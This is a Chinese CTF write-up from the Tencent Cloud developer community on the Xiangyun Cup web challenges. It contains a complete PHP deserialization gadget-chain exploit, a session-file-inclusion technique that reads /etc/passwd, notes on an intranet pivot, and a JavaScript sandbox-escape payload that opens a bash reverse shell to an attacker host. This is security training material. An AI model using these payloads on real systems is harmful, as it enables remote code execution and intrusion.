前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >祥云杯WEB--Writeup+复现

祥云杯WEB--Writeup+复现

原创
作者头像
ly0n
修改2021-08-25 11:29:58
8570
修改2021-08-25 11:29:58
举报
文章被收录于专栏:ly0n

ez_yii

这个题目懂得都懂,直接放exp吧

代码语言:javascript
复制
<?php
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('l');
            include("closure/autoload.php");
            $a = function(){system('ls /');};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}
namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('test');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
    // echo serialize(new RunProcess());
}

安全检测

检测网站发现admin下的include123.php文件,看到过滤函数

知识点:session文件包含

在检测处抓包,url1传入参数http://127.0.0.1/admin/include123.php?u=/etc/passwd

成功读取/etc/passwd文件

修改PHPSESSION为test1,SESSION文件的存储位置为/tmp/sess_

使用php短标签去执行命令

传入后在去返回值为True

查看根目录下文件,发现getflag.sh文件

然后直接查看getflag.sh文件

拿到flag

层层穿透

这里最后一步没有做出来,后来看大师傅们的wp才发现原来我离flag那么近

就简单说一下我的做题思路吧

生成jar包上传msf设置监听拿到shell,然后配置静态路由proxychians nmap去扫描内网机器内网存在另外一台机器为1.11,题目给的有一个jar包在本地起来后发现时一个spring boot 然后通过jd-gui工具得到源码,源码里可以看到默认账号和密码。以为是shiro 测试了多次后发现未能利用,赛后看到是用fastjion去打。血亏 。

cralwer_z

比赛的时候没有做出来,赛后复现一波。

考察:zombie模块注入漏洞

刚开始还是按照我比赛时候的思路进行。创建一个admin用户然后登录,看到了用户信息更新页面

然后在源码文件中搜索bucket

可以看到如果我们输入更新后就会返回token值,所以先抓包获取token

赛后查阅writeup了解到 更新传入bucket生成token去判断请求爬虫。我们只要在这个过程中替换我们的url就好。

漏洞点再goto里面的visit

我们换入的bucke经过checkBuket检查之后给力personalBucket,然后/verify又通过personalBucket进行更新,也就是说我们可以覆盖之前的url,但是token还是一样的。

Token已经获取得到,在vps上写入exp.html

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],);console.log(ls.output.toString());")()</script>

然后修改bucket成功更新 然后再次访问/user/bucket反弹shell,就能拿到flag!

ps://最后由于我环境的问题未能成功只说了下后面的思路,望大佬们勿喷

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • ez_yii
  • 安全检测
  • 层层穿透
  • cralwer_z
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档